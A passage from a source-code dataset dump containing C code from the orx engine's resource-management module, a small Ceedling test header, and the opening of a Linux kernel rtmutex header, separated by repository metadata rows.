orxRESOURCE_OPEN_INFO *pstOpenInfo;
/* Allocates open info */
pstOpenInfo = (orxRESOURCE_OPEN_INFO *)orxBank_Allocate(sstResource.pstOpenInfoBank);
/* Checks */
orxASSERT(pstOpenInfo != orxNULL);
/* Inits it */
pstOpenInfo->pstTypeInfo = &(pstType->stInfo);
pstOpenInfo->u32OpCount = 0;
/* Opens it */
pstOpenInfo->hResource = pstType->stInfo.pfnOpen(_zLocation + u32TagLength + 1, _bEraseMode);
/* Valid? */
if((pstOpenInfo->hResource != orxHANDLE_UNDEFINED) && (pstOpenInfo->hResource != orxNULL))
{
/* Updates result */
hResult = (orxHANDLE)pstOpenInfo;
/* Stores location */
pstOpenInfo->zLocation = orxString_Duplicate(_zLocation);
}
else
{
/* Frees open info */
orxBank_Free(sstResource.pstOpenInfoBank, pstOpenInfo);
/* Logs message */
orxDEBUG_PRINT(orxDEBUG_LEVEL_SYSTEM, "Can't open resource <%s> of type <%s>: unable to open the location.", _zLocation, pstType->stInfo.zTag);
}
}
else
{
/* Logs message */
orxDEBUG_PRINT(orxDEBUG_LEVEL_SYSTEM, "Can't open resource <%s>: unknown resource type.", _zLocation);
}
}
/* Profiles */
orxPROFILER_POP_MARKER();
/* Done! */
return hResult;
}
/** Closes a resource
* @param[in] _hResource Concerned resource
*/
void orxFASTCALL orxResource_Close(orxHANDLE _hResource)
{
/* Checks */
orxASSERT(orxFLAG_TEST(sstResource.u32Flags, orxRESOURCE_KU32_STATIC_FLAG_READY));
/* Profiles */
orxPROFILER_PUSH_MARKER("orxResource_Close");
/* Valid? */
if((_hResource != orxHANDLE_UNDEFINED) && (_hResource != orxNULL))
{
orxRESOURCE_OPEN_INFO *pstOpenInfo;
/* Gets open info */
pstOpenInfo = (orxRESOURCE_OPEN_INFO *)_hResource;
/* Has pending operations (and thread hasn't been terminated)? */
if((pstOpenInfo->u32OpCount != 0) && (sstResource.u32RequestThreadID != orxU32_UNDEFINED))
{
/* Adds request */
orxResource_AddRequest(orxRESOURCE_REQUEST_TYPE_CLOSE, 0, orxNULL, orxNULL, orxNULL, pstOpenInfo);
}
else
{
/* Closes resource */
pstOpenInfo->pstTypeInfo->pfnClose(pstOpenInfo->hResource);
/* Deletes location */
orxString_Delete(pstOpenInfo->zLocation);
/* Frees open info */
orxBank_Free(sstResource.pstOpenInfoBank, pstOpenInfo);
}
}
/* Profiles */
orxPROFILER_POP_MARKER();
/* Done! */
return;
}
/** Gets the literal location of a resource
* @param[in] _hResource Concerned resource
* @return Literal location string
*/
const orxSTRING orxFASTCALL orxResource_GetLocation(orxHANDLE _hResource)
{
const orxSTRING zResult = orxSTRING_EMPTY;
/* Checks */
orxASSERT(orxFLAG_TEST(sstResource.u32Flags, orxRESOURCE_KU32_STATIC_FLAG_READY));
/* Valid? */
if((_hResource != orxHANDLE_UNDEFINED) && (_hResource != orxNULL))
{
orxRESOURCE_OPEN_INFO *pstOpenInfo;
/* Gets open info */
pstOpenInfo = (orxRESOURCE_OPEN_INFO *)_hResource;
/* Updates result */
zResult = pstOpenInfo->zLocation;
}
/* Done! */
return zResult;
}
/** Gets the size, in bytes, of a resource
* @param[in] _hResource Concerned resource
* @return Size of the resource, in bytes
*/
orxS64 orxFASTCALL orxResource_GetSize(orxHANDLE _hResource)
{
orxS64 s64Result = 0;
/* Checks */
orxASSERT(orxFLAG_TEST(sstResource.u32Flags, orxRESOURCE_KU32_STATIC_FLAG_READY));
/* Profiles */
orxPROFILER_PUSH_MARKER("orxResource_GetSize");
/* Valid? */
if((_hResource != orxHANDLE_UNDEFINED) && (_hResource != orxNULL))
{
orxRESOURCE_OPEN_INFO *pstOpenInfo;
/* Gets open info */
pstOpenInfo = (orxRESOURCE_OPEN_INFO *)_hResource;
/* Checks */
orxASSERT(pstOpenInfo->u32OpCount == 0);
/* Updates result */
s64Result = pstOpenInfo->pstTypeInfo->pfnGetSize(pstOpenInfo->hResource);
}
/* Profiles */
orxPROFILER_POP_MARKER();
/* Done! */
return s64Result;
}
/** Seeks a position in a given resource (moves cursor)
* @param[in] _hResource Concerned resource
* @param[in] _s64Offset Number of bytes to offset from 'origin'
* @param[in] _eWhence Starting point for the offset computation (start, current position or end)
* @return Absolute cursor position if successful, -1 otherwise
*/
orxS64 orxFASTCALL orxResource_Seek(orxHANDLE _hResource, orxS64 _s64Offset, orxSEEK_OFFSET_WHENCE _eWhence)
{
orxS64 s64Result = -1;
/* Checks */
orxASSERT(orxFLAG_TEST(sstResource.u32Flags, orxRESOURCE_KU32_STATIC_FLAG_READY));
orxASSERT(_eWhence < orxSEEK_OFFSET_WHENCE_NUMBER);
/* Profiles */
orxPROFILER_PUSH_MARKER("orxResource_Seek");
/* Valid? */
if((_hResource != orxHANDLE_UNDEFINED) && (_hResource != orxNULL))
{
orxRESOURCE_OPEN_INFO *pstOpenInfo;
/* Gets open info */
pstOpenInfo = (orxRESOURCE_OPEN_INFO *)_hResource;
/* Checks */
orxASSERT(pstOpenInfo->u32OpCount == 0);
/* Updates result */
s64Result = pstOpenInfo->pstTypeInfo->pfnSeek(pstOpenInfo->hResource, _s64Offset, _eWhence);
}
/* Profiles */
orxPROFILER_POP_MARKER();
/* Done! */
return s64Result;
}
/** Tells the position of the cursor in a given resource
* @param[in] _hResource Concerned resource
* @return Position (offset), in bytes
*/
orxS64 orxFASTCALL orxResource_Tell(orxHANDLE _hResource)
{
orxS64 s64Result = -1;
/* Checks */
orxASSERT(orxFLAG_TEST(sstResource.u32Flags, orxRESOURCE_KU32_STATIC_FLAG_READY));
/* Profiles */
orxPROFILER_PUSH_MARKER("orxResource_Tell");
/* Valid? */
if((_hResource != orxHANDLE_UNDEFINED) && (_hResource != orxNULL))
{
orxRESOURCE_OPEN_INFO *pstOpenInfo;
/* Gets open info */
pstOpenInfo = (orxRESOURCE_OPEN_INFO *)_hResource;
/* Checks */
orxASSERT(pstOpenInfo->u32OpCount == 0);
/* Updates result */
s64Result = pstOpenInfo->pstTypeInfo->pfnTell(pstOpenInfo->hResource);
}
/* Profiles */
orxPROFILER_POP_MARKER();
/* Done! */
return s64Result;
}
/** Reads data from a resource
* @param[in] _hResource Concerned resource
* @param[in] _s64Size Size to read (in bytes)
* @param[out] _pBuffer Buffer that will be filled by the read data
* @param[in] _pfnCallback Callback that will get called after asynchronous operation; if orxNULL, operation will be synchronous
* @param[in] _pContext Context that will be transmitted to the callback when called
* @return Size of the read data, in bytes or -1 for successful asynchronous call
*/
orxS64 orxFASTCALL orxResource_Read(orxHANDLE _hResource, orxS64 _s64Size, void *_pBuffer, orxRESOURCE_OP_FUNCTION _pfnCallback, void *_pContext)
{
orxS64 s64Result = 0;
/* Checks */
orxASSERT(orxFLAG_TEST(sstResource.u32Flags, orxRESOURCE_KU32_STATIC_FLAG_READY));
orxASSERT(_pBuffer != orxNULL);
/* Profiles */
orxPROFILER_PUSH_MARKER("orxResource_Read");
/* Valid? */
if((_hResource != orxHANDLE_UNDEFINED) && (_hResource != orxNULL))
{
orxRESOURCE_OPEN_INFO *pstOpenInfo;
/* Gets open info */
pstOpenInfo = (orxRESOURCE_OPEN_INFO *)_hResource;
/* Has a callback (asynchronous call) */
if(_pfnCallback != orxNULL)
{
/* Adds request */
orxResource_AddRequest(orxRESOURCE_REQUEST_TYPE_READ, _s64Size, _pBuffer, _pfnCallback, _pContext, pstOpenInfo);
/* Updates result */
s64Result = -1;
}
else
{
/* Updates result */
s64Result = pstOpenInfo->pstTypeInfo->pfnRead(pstOpenInfo->hResource, _s64Size, _pBuffer);
}
}
/* Profiles */
orxPROFILER_POP_MARKER();
/* Done! */
return s64Result;
}
/** Writes data to a resource
* @param[in] _hResource Concerned resource
* @param[in] _s64Size Size to write (in bytes)
* @param[out] _pBuffer Buffer that will be written
* @param[in] _pfnCallback Callback that will get called after asynchronous operation; if orxNULL, operation will be synchronous
* @param[in] _pContext Context that will be transmitted to the callback when called
* @return Size of the written data, in bytes, 0 if nothing could be written/no write support for this resource type or -1 for successful asynchronous call
*/
orxS64 orxFASTCALL orxResource_Write(orxHANDLE _hResource, orxS64 _s64Size, const void *_pBuffer, orxRESOURCE_OP_FUNCTION _pfnCallback, void *_pContext)
{
orxS64 s64Result = 0;
/* Checks */
orxASSERT(orxFLAG_TEST(sstResource.u32Flags, orxRESOURCE_KU32_STATIC_FLAG_READY));
orxASSERT(_pBuffer != orxNULL);
/* Profiles */
orxPROFILER_PUSH_MARKER("orxResource_Write");
/* Valid? */
if((_hResource != orxHANDLE_UNDEFINED) && (_hResource != orxNULL))
{
orxRESOURCE_OPEN_INFO *pstOpenInfo;
/* Gets open info */
pstOpenInfo = (orxRESOURCE_OPEN_INFO *)_hResource;
/* Supports writing? */
if(pstOpenInfo->pstTypeInfo->pfnWrite != orxNULL)
{
/* Has a callback (asynchronous call) */
if(_pfnCallback != orxNULL)
{
/* Adds request */
orxResource_AddRequest(orxRESOURCE_REQUEST_TYPE_WRITE, _s64Size, (void *)_pBuffer, _pfnCallback, _pContext, pstOpenInfo);
/* Updates result */
s64Result = -1;
}
else
{
/* Updates result */
s64Result = pstOpenInfo->pstTypeInfo->pfnWrite(pstOpenInfo->hResource, _s64Size, _pBuffer);
}
}
}
/* Profiles */
orxPROFILER_POP_MARKER();
/* Done! */
return s64Result;
}
/** Deletes a resource, given its location
* @param[in] _zLocation Location of the resource to delete
* @return orxSTATUS_SUCCESS upon success, orxSTATUS_FAILURE otherwise
*/
orxSTATUS orxFASTCALL orxResource_Delete(const orxSTRING _zLocation)
{
orxSTATUS eResult = orxSTATUS_FAILURE;
/* Checks */
orxASSERT(orxFLAG_TEST(sstResource.u32Flags, orxRESOURCE_KU32_STATIC_FLAG_READY));
orxASSERT(_zLocation != orxNULL);
/* Profiles */
orxPROFILER_PUSH_MARKER("orxResource_Delete");
/* Valid? */
if(*_zLocation != orxCHAR_NULL)
{
orxRESOURCE_TYPE *pstType;
orxU32 u32TagLength;
/* For all registered types */
for(pstType = (orxRESOURCE_TYPE *)orxLinkList_GetFirst(&(sstResource.stTypeList));
pstType != orxNULL;
pstType = (orxRESOURCE_TYPE *)orxLinkList_GetNext(&(pstType->stNode)))
{
/* Gets tag length */
u32TagLength = orxString_GetLength(pstType->stInfo.zTag);
/* Match tag? */
if((orxString_NICompare(_zLocation, pstType->stInfo.zTag, u32TagLength) == 0)
&& (*(_zLocation + u32TagLength) == orxRESOURCE_KC_LOCATION_SEPARATOR))
{
/* Selects it */
break;
}
}
/* Found? */
if(pstType != orxNULL)
{
/* Supports deletion? */
if(pstType->stInfo.pfnDelete != orxNULL)
{
/* Deletes it */
eResult = pstType->stInfo.pfnDelete(_zLocation + u32TagLength + 1);
}
}
else
{
/* Logs message */
orxDEBUG_PRINT(orxDEBUG_LEVEL_SYSTEM, "Can't delete resource <%s>: unknown resource type.", _zLocation);
}
}
/* Profiles */
orxPROFILER_POP_MARKER();
/* Done! */
return eResult;
}
/** Gets pending operation count for a given resource
* @param[in] _hResource Concerned resource
* @return Number of pending asynchronous operations for that resource
*/
orxU32 orxFASTCALL orxResource_GetPendingOpCount(const orxHANDLE _hResource)
{
orxU32 u32Result = 0;
/* Checks */
orxASSERT(orxFLAG_TEST(sstResource.u32Flags, orxRESOURCE_KU32_STATIC_FLAG_READY));
/* Valid? */
if((_hResource != orxHANDLE_UNDEFINED) && (_hResource != orxNULL))
{
orxRESOURCE_OPEN_INFO *pstOpenInfo;
/* Gets open info */
pstOpenInfo = (orxRESOURCE_OPEN_INFO *)_hResource;
/* Updates result */
u32Result = pstOpenInfo->u32OpCount;
}
/* Done! */
return u32Result;
}
/** Gets total pending operation count
* @return Number of total pending asynchronous operations
*/
orxU32 orxFASTCALL orxResource_GetTotalPendingOpCount()
{
orxU32 u32InIndex, u32OutIndex;
orxU32 u32Result = 0;
/* Checks */
orxASSERT(orxFLAG_TEST(sstResource.u32Flags, orxRESOURCE_KU32_STATIC_FLAG_READY));
/* Gets indices */
u32InIndex = sstResource.u32RequestInIndex;
u32OutIndex = sstResource.u32RequestOutIndex;
/* Update result */
u32Result = (u32InIndex >= u32OutIndex) ? u32InIndex - u32OutIndex : u32InIndex + (orxRESOURCE_KU32_REQUEST_LIST_SIZE - u32OutIndex);
/* Has pending operations? */
if(u32Result != 0)
{
/* Main thread? */
if(orxThread_GetCurrent() == orxTHREAD_KU32_MAIN_THREAD_ID)
{
/* Pumps some request notifications in case caller is waiting in a closed loop */
orxResource_NotifyRequest(orxNULL, orxNULL);
}
}
/* Done! */
return u32Result;
}
/** Registers a new resource type
* @param[in] _pstInfo Info describing the new resource type and how to handle it
* @return orxSTATUS_SUCCESS / orxSTATUS_FAILURE
*/
orxSTATUS orxFASTCALL orxResource_RegisterType(const orxRESOURCE_TYPE_INFO *_pstInfo)
{
orxSTATUS eResult = orxSTATUS_FAILURE;
/* Checks */
orxASSERT(orxFLAG_TEST(sstResource.u32Flags, orxRESOURCE_KU32_STATIC_FLAG_READY));
orxASSERT(_pstInfo != orxNULL);
/* Valid? */
if((_pstInfo->zTag != orxNULL)
&& (*(_pstInfo->zTag) != orxCHAR_NULL)
&& (_pstInfo->pfnLocate != orxNULL)
&& (_pstInfo->pfnOpen != orxNULL)
&& (_pstInfo->pfnClose != orxNULL)
&& (_pstInfo->pfnGetSize != orxNULL)
&& (_pstInfo->pfnSeek != orxNULL)
&& (_pstInfo->pfnTell != orxNULL)
&& (_pstInfo->pfnRead != orxNULL))
{
orxRESOURCE_TYPE *pstType;
/* For all registered types */
for(pstType = (orxRESOURCE_TYPE *)orxLinkList_GetFirst(&(sstResource.stTypeList));
(pstType != orxNULL) && (orxString_ICompare(pstType->stInfo.zTag, _pstInfo->zTag) != 0);
pstType = (orxRESOURCE_TYPE *)orxLinkList_GetNext(&(pstType->stNode)))
;
/* Not already registered? */
if(pstType == orxNULL)
{
/* Allocates type */
pstType = (orxRESOURCE_TYPE *)orxBank_Allocate(sstResource.pstTypeBank);
/* Checks */
orxASSERT(pstType != orxNULL);
/* Inits it */
orxMemory_Zero(&(pstType->stNode), sizeof(orxLINKLIST_NODE));
orxMemory_Copy(&(pstType->stInfo), _pstInfo, sizeof(orxRESOURCE_TYPE_INFO));
pstType->stInfo.zTag = orxString_Store(_pstInfo->zTag);
/* Checks */
orxASSERT(pstType->stInfo.zTag != orxNULL);
/* Adds it first */
orxLinkList_AddStart(&(sstResource.stTypeList), &(pstType->stNode));
/* Updates result */
eResult = orxSTATUS_SUCCESS;
}
else
{
/* Logs message */
orxDEBUG_PRINT(orxDEBUG_LEVEL_SYSTEM, "Can't register resource type with tag <%s>: tag is already used by a registered type.", _pstInfo->zTag);
}
}
else
{
/* Logs message */
orxDEBUG_PRINT(orxDEBUG_LEVEL_SYSTEM, "Can't register resource type with tag <%s>: incomplete info.", _pstInfo->zTag);
}
/* Done! */
return eResult;
}
/** Unregisters a resource type
* @param[in] _zTypeTag Tag of the resource type to unregister
* @return orxSTATUS_SUCCESS / orxSTATUS_FAILURE
*/
orxSTATUS orxFASTCALL orxResource_UnregisterType(const orxSTRING _zTypeTag)
{
orxRESOURCE_TYPE *pstType;
orxSTATUS eResult;
/* Checks */
orxASSERT(orxFLAG_TEST(sstResource.u32Flags, orxRESOURCE_KU32_STATIC_FLAG_READY));
orxASSERT(_zTypeTag != orxNULL);
/* For all registered types */
for(pstType = (orxRESOURCE_TYPE *)orxLinkList_GetFirst(&(sstResource.stTypeList));
(pstType != orxNULL) && (orxString_ICompare(pstType->stInfo.zTag, _zTypeTag) != 0);
pstType = (orxRESOURCE_TYPE *)orxLinkList_GetNext(&(pstType->stNode)))
;
/* Found? */
if(pstType != orxNULL)
{
/* Removes it */
orxLinkList_Remove(&(pstType->stNode));
/* Frees it */
orxBank_Free(sstResource.pstTypeBank, pstType);
/* Updates result */
eResult = orxSTATUS_SUCCESS;
}
else
{
/* Updates result */
eResult = orxSTATUS_FAILURE;
}
/* Done! */
return eResult;
}
/** Gets number of registered resource types
* @return Number of registered resource types
*/
orxU32 orxFASTCALL orxResource_GetTypeCount()
{
orxU32 u32Result = 0;
/* Checks */
orxASSERT(orxFLAG_TEST(sstResource.u32Flags, orxRESOURCE_KU32_STATIC_FLAG_READY));
/* Updates result */
u32Result = orxLinkList_GetCount(&(sstResource.stTypeList));
/* Done! */
return u32Result;
}
/** Gets registered type tag at given index
* @param[in] _u32Index Index of storage
* @return Type tag string if index is valid, orxNULL otherwise
*/
const orxSTRING orxFASTCALL orxResource_GetTypeTag(orxU32 _u32Index)
{
const orxSTRING zResult = orxNULL;
/* Checks */
orxASSERT(orxFLAG_TEST(sstResource.u32Flags, orxRESOURCE_KU32_STATIC_FLAG_READY));
/* Valid index? */
if(_u32Index < orxLinkList_GetCount(&(sstResource.stTypeList)))
{
orxRESOURCE_TYPE *pstType;
/* Finds requested group */
for(pstType = (orxRESOURCE_TYPE *)orxLinkList_GetFirst(&(sstResource.stTypeList));
_u32Index > 0;
pstType = (orxRESOURCE_TYPE *)orxLinkList_GetNext(&(pstType->stNode)), _u32Index--)
;
/* Checks */
orxASSERT(pstType != orxNULL);
/* Updates result */
zResult = pstType->stInfo.zTag;
}
/* Done! */
return zResult;
}
/** Syncs all cached resources for specific resource group(s): update, add or remove events will be sent for all resources that are not located in their original storage anymore
* @param[in] _zGroup Concerned resource group, orxNULL for all groups
* @return orxSTATUS_SUCCESS / orxSTATUS_FAILURE
*/
orxSTATUS orxFASTCALL orxResource_Sync(const orxSTRING _zGroup)
{
orxSTRINGID stGroupID;
orxRESOURCE_GROUP *pstGroup;
orxSTATUS eResult = orxSTATUS_FAILURE;
/* Checks */
orxASSERT(orxFLAG_TEST(sstResource.u32Flags, orxRESOURCE_KU32_STATIC_FLAG_READY));
/* Profiles */
orxPROFILER_PUSH_MARKER("orxResource_Sync");
/* Gets group ID */
stGroupID = (_zGroup != orxNULL) ? orxString_Hash(_zGroup) : orxSTRINGID_UNDEFINED;
/* For all groups */
for(pstGroup = (orxRESOURCE_GROUP *)orxBank_GetNext(sstResource.pstGroupBank, orxNULL);
pstGroup != orxNULL;
pstGroup = (orxRESOURCE_GROUP *)orxBank_GetNext(sstResource.pstGroupBank, pstGroup))
{
/* Matches? */
if((_zGroup == orxNULL)
|| (pstGroup->stID == stGroupID))
{
orxHANDLE hIterator;
orxRESOURCE_INFO *pstResourceInfo;
const orxSTRING zGroup;
/* Gets group */
zGroup = orxString_GetFromID(pstGroup->stID);
/* For all cached resources */
for(hIterator = orxHashTable_GetNext(pstGroup->pstCacheTable, orxHANDLE_UNDEFINED, orxNULL, (void **)&pstResourceInfo);
hIterator != orxHANDLE_UNDEFINED;
hIterator = orxHashTable_GetNext(pstGroup->pstCacheTable, hIterator, orxNULL, (void **)&pstResourceInfo))
{
orxRESOURCE_STORAGE *pstStorage;
const orxSTRING zName;
/* Gets its name */
zName = orxString_GetFromID(pstResourceInfo->stNameID);
/* For all storages in group */
for(pstStorage = (orxRESOURCE_STORAGE *)orxLinkList_GetFirst(&(pstGroup->stStorageList));
pstStorage != orxNULL;
pstStorage = (orxRESOURCE_STORAGE *)orxLinkList_GetNext(&(pstStorage->stNode)))
{
orxRESOURCE_TYPE *pstType;
/* For all registered types */
for(pstType = (orxRESOURCE_TYPE *)orxLinkList_GetFirst(&(sstResource.stTypeList));
pstType != orxNULL;
pstType = (orxRESOURCE_TYPE *)orxLinkList_GetNext(&(pstType->stNode)))
{
const orxSTRING zNewLocation;
/* Locates resource */
zNewLocation = pstType->stInfo.pfnLocate(zGroup, orxString_GetFromID(pstStorage->stID), zName, orxTRUE);
/* Success? */
if(zNewLocation != orxNULL)
{
/* New location? */
if((&(pstType->stInfo) != pstResourceInfo->pstTypeInfo)
|| (pstResourceInfo->s64Time == 0)
|| (orxString_ICompare(pstResourceInfo->zLocation + orxString_GetLength(pstType->stInfo.zTag) + 1, zNewLocation) != 0))
{
orxRESOURCE_EVENT_PAYLOAD stPayload;
orxS32 s32Size;
orxBOOL bAdd;
/* Updates status */
bAdd = (pstResourceInfo->s64Time == 0) ? orxTRUE : orxFALSE;
/* Deletes its previous location */
orxMemory_Free(pstResourceInfo->zLocation);
/* Updates its resource info */
pstResourceInfo->pstTypeInfo = &(pstType->stInfo);
pstResourceInfo->s64Time = orxRESOURCE_KU32_WATCH_TIME_UNINITIALIZED;
s32Size = orxString_GetLength(pstType->stInfo.zTag) + orxString_GetLength(zNewLocation) + 2;
pstResourceInfo->zLocation = (orxSTRING)orxMemory_Allocate(s32Size, orxMEMORY_TYPE_TEXT);
orxASSERT(pstResourceInfo->zLocation != orxNULL);
orxString_NPrint(pstResourceInfo->zLocation, s32Size, "%s%c%s", pstType->stInfo.zTag, orxRESOURCE_KC_LOCATION_SEPARATOR, zNewLocation);
orxMEMORY_BARRIER();
/* Clears payload */
orxMemory_Zero(&stPayload, sizeof(orxRESOURCE_EVENT_PAYLOAD));
/* Inits payload */
stPayload.s64Time = pstResourceInfo->s64Time;
stPayload.zLocation = pstResourceInfo->zLocation;
stPayload.pstTypeInfo = pstResourceInfo->pstTypeInfo;
stPayload.stGroupID = pstResourceInfo->stGroupID;
stPayload.stStorageID = pstResourceInfo->stStorageID;
stPayload.stNameID = pstResourceInfo->stNameID;
/* Sends event */
orxEVENT_SEND(orxEVENT_TYPE_RESOURCE, (bAdd != orxFALSE) ? orxRESOURCE_EVENT_ADD : orxRESOURCE_EVENT_UPDATE, orxNULL, orxNULL, &stPayload);
}
break;
}
}
/* Was found? */
if(pstType != orxNULL)
{
/* Stops */
break;
}
}
/* Was not found and not already removed? */
if((pstStorage == orxNULL) && (pstResourceInfo->s64Time != 0))
{
orxRESOURCE_EVENT_PAYLOAD stPayload;
/* Clears payload */
orxMemory_Zero(&stPayload, sizeof(orxRESOURCE_EVENT_PAYLOAD));
/* Updates its resource info */
pstResourceInfo->s64Time = 0;
/* Inits payload */
stPayload.s64Time = pstResourceInfo->s64Time;
stPayload.zLocation = pstResourceInfo->zLocation;
stPayload.pstTypeInfo = pstResourceInfo->pstTypeInfo;
stPayload.stGroupID = pstResourceInfo->stGroupID;
stPayload.stStorageID = pstResourceInfo->stStorageID;
stPayload.stNameID = pstResourceInfo->stNameID;
/* Sends event */
orxEVENT_SEND(orxEVENT_TYPE_RESOURCE, orxRESOURCE_EVENT_REMOVE, orxNULL, orxNULL, &stPayload);
}
}
}
}
/* Profiles */
orxPROFILER_POP_MARKER();
/* Done! */
return eResult;
}
/** Clears cache for specific resource group(s)
* @param[in] _zGroup Concerned resource group, orxNULL for all groups
* @return orxSTATUS_SUCCESS / orxSTATUS_FAILURE
*/
orxSTATUS orxFASTCALL orxResource_ClearCache(const orxSTRING _zGroup)
{
orxSTRINGID stGroupID;
orxRESOURCE_GROUP *pstGroup;
orxSTATUS eResult = orxSTATUS_FAILURE;
/* Checks */
orxASSERT(orxFLAG_TEST(sstResource.u32Flags, orxRESOURCE_KU32_STATIC_FLAG_READY));
orxASSERT(orxThread_GetCurrent() == orxTHREAD_KU32_MAIN_THREAD_ID);
/* Profiles */
orxPROFILER_PUSH_MARKER("orxResource_ClearCache");
/* Waits for all pending operations to complete */
while(sstResource.u32RequestProcessIndex != sstResource.u32RequestInIndex);
/* Gets group ID */
stGroupID = (_zGroup != orxNULL) ? orxString_Hash(_zGroup) : orxSTRINGID_UNDEFINED;
/* For all groups */
for(pstGroup = (orxRESOURCE_GROUP *)orxBank_GetNext(sstResource.pstGroupBank, orxNULL);
pstGroup != orxNULL;
pstGroup = (orxRESOURCE_GROUP *)orxBank_GetNext(sstResource.pstGroupBank, pstGroup))
{
/* Matches? */
if((_zGroup == orxNULL)
|| (pstGroup->stID == stGroupID))
{
orxHANDLE hIterator;
orxRESOURCE_INFO *pstResourceInfo;
/* For all cached resources */
for(hIterator = orxHashTable_GetNext(pstGroup->pstCacheTable, orxHANDLE_UNDEFINED, orxNULL, (void **)&pstResourceInfo);
hIterator != orxHANDLE_UNDEFINED;
hIterator = orxHashTable_GetNext(pstGroup->pstCacheTable, hIterator, orxNULL, (void **)&pstResourceInfo))
{
/* Deletes its location */
orxMemory_Free(pstResourceInfo->zLocation);
/* Frees it */
orxBank_Free(sstResource.pstResourceInfoBank, pstResourceInfo);
}
/* Clears cache table */
orxHashTable_Clear(pstGroup->pstCacheTable);
/* Updates result */
eResult = orxSTATUS_SUCCESS;
}
}
/* Profiles */
orxPROFILER_POP_MARKER();
/* Done! */
return eResult;
}
/** Gets the cached location count for a given group
* @param[in] _zGroup Concerned resource group
* @return Item number
*/
orxU32 orxFASTCALL orxResource_GetCacheCount(const orxSTRING _zGroup)
{
orxU32 u32Result = 0;
/* Checks */
orxASSERT(orxFLAG_TEST(sstResource.u32Flags, orxRESOURCE_KU32_STATIC_FLAG_READY));
orxASSERT(_zGroup != orxNULL);
/* Valid? */
if(*_zGroup != orxCHAR_NULL)
{
orxRESOURCE_GROUP *pstGroup;
orxSTRINGID stGroupID;
/* Gets group ID */
stGroupID = orxString_Hash(_zGroup);
/* Gets group */
pstGroup = orxResource_FindGroup(stGroupID);
/* Success? */
if(pstGroup != orxNULL)
{
/* Updates result */
u32Result = orxHashTable_GetCount(pstGroup->pstCacheTable);
}
}
/* Done! */
return u32Result;
}
/** Gets the next cached location for the given group and returns an iterator for next search
* @param[in] _zGroup Concerned resource group
* @param[in] _hIterator Iterator from previous search or orxHANDLE_UNDEFINED/orxNULL for a new search
* @param[out] _pzLocation Current resource's location, orxNULL to ignore
* @param[out] _pzStorage Current resource's storage, orxNULL to ignore
* @param[out] _pzName Current resource's name, orxNULL to ignore
* @return Iterator for next element if an element has been found, orxHANDLE_UNDEFINED otherwise
*/
orxHANDLE orxFASTCALL orxResource_GetNextCachedLocation(const orxSTRING _zGroup, orxHANDLE _hIterator, const orxSTRING *_pzLocation, const orxSTRING *_pzStorage, const orxSTRING *_pzName)
{
orxHANDLE hResult = orxHANDLE_UNDEFINED;
/* Checks */
orxASSERT(orxFLAG_TEST(sstResource.u32Flags, orxRESOURCE_KU32_STATIC_FLAG_READY));
orxASSERT(_zGroup != orxNULL);
/* Valid? */
if(*_zGroup != orxCHAR_NULL)
{
orxRESOURCE_GROUP *pstGroup;
orxSTRINGID stGroupID;
/* Gets group ID */
stGroupID = orxString_Hash(_zGroup);
/* Gets group */
pstGroup = orxResource_FindGroup(stGroupID);
/* Success? */
if(pstGroup != orxNULL)
{
orxRESOURCE_INFO *pstResourceInfo;
/* Gets next cached resource */
hResult = orxHashTable_GetNext(pstGroup->pstCacheTable, _hIterator, orxNULL, (void **)&pstResourceInfo);
/* Success? */
if(hResult != orxHANDLE_UNDEFINED)
{
/* Updates location */
if(_pzLocation != orxNULL)
{
*_pzLocation = pstResourceInfo->zLocation;
}
/* Updates storage */
if(_pzStorage != orxNULL)
{
*_pzStorage = orxString_GetFromID(pstResourceInfo->stStorageID);
}
/* Updates name */
if(_pzName != orxNULL)
{
*_pzName = orxString_GetFromID(pstResourceInfo->stNameID);
}
}
}
}
/* Done! */
return hResult;
}
|
3b26d42772b306243c14c5e416eb13b48172d285
|
73b390133ceb739d98d422fe57f61b26c487cf07
|
/assets/auto_link_deep_dependencies/src/internal_inc/never_compiled.h
|
85ab1e8899f03453dbc9b1554bcea124ccca5e8b
|
[
"LicenseRef-scancode-warranty-disclaimer",
"MIT"
] |
permissive
|
ThrowTheSwitch/Ceedling
|
4c0fd4c775ffc7338157cc45326e035eeb98f08d
|
8d3605cac60ca981a63df4c119be1060875015c6
|
refs/heads/master
| 2023-09-03T10:30:43.862149
| 2023-08-03T13:30:02
| 2023-08-03T13:30:02
| 3,276,877
| 536
| 268
|
NOASSERTION
| 2023-09-13T21:34:02
| 2012-01-26T19:53:53
|
Ruby
|
UTF-8
|
C
| false
| false
| 117
|
h
|
never_compiled.h
|
#ifndef NEVER_COMPILED_H
#define NEVER_COMPILED_H
int function_never_compiled(int x);
#endif /* NEVER_COMPILED_H */
|
dbfde79e4cac1ce4e5f63e78a0d7e4d7f9891245
|
7eaf54a78c9e2117247cb2ab6d3a0c20719ba700
|
/SOFTWARE/A64-TERES/linux-a64/kernel/rtmutex_common.h
|
53a66c85261bffc91142709f65610154a011541e
|
[
"LicenseRef-scancode-free-unknown",
"Apache-2.0",
"Linux-syscall-note",
"GPL-2.0-only",
"GPL-1.0-or-later"
] |
permissive
|
OLIMEX/DIY-LAPTOP
|
ae82f4ee79c641d9aee444db9a75f3f6709afa92
|
a3fafd1309135650bab27f5eafc0c32bc3ca74ee
|
refs/heads/rel3
| 2023-08-04T01:54:19.483792
| 2023-04-03T07:18:12
| 2023-04-03T07:18:12
| 80,094,055
| 507
| 92
|
Apache-2.0
| 2023-04-03T07:05:59
| 2017-01-26T07:25:50
|
C
|
UTF-8
|
C
| false
| false
| 3,423
|
h
|
rtmutex_common.h
|
/*
* RT Mutexes: blocking mutual exclusion locks with PI support
*
* started by Ingo Molnar and Thomas Gleixner:
*
* Copyright (C) 2004-2006 Red Hat, Inc., Ingo Molnar <mingo@redhat.com>
* Copyright (C) 2006, Timesys Corp., Thomas Gleixner <tglx@timesys.com>
*
* This file contains the private data structure and API definitions.
*/
#ifndef __KERNEL_RTMUTEX_COMMON_H
#define __KERNEL_RTMUTEX_COMMON_H
#include <linux/rtmutex.h>
/*
* The rtmutex in kernel tester is independent of rtmutex debugging. We
* call schedule_rt_mutex_test() instead of schedule() for the tasks which
* belong to the tester. That way we can delay the wakeup path of those
* threads to provoke lock stealing and testing of complex boosting scenarios.
*/
#ifdef CONFIG_RT_MUTEX_TESTER
extern void schedule_rt_mutex_test(struct rt_mutex *lock);
#define schedule_rt_mutex(_lock) \
do { \
if (!(current->flags & PF_MUTEX_TESTER)) \
schedule(); \
else \
schedule_rt_mutex_test(_lock); \
} while (0)
#else
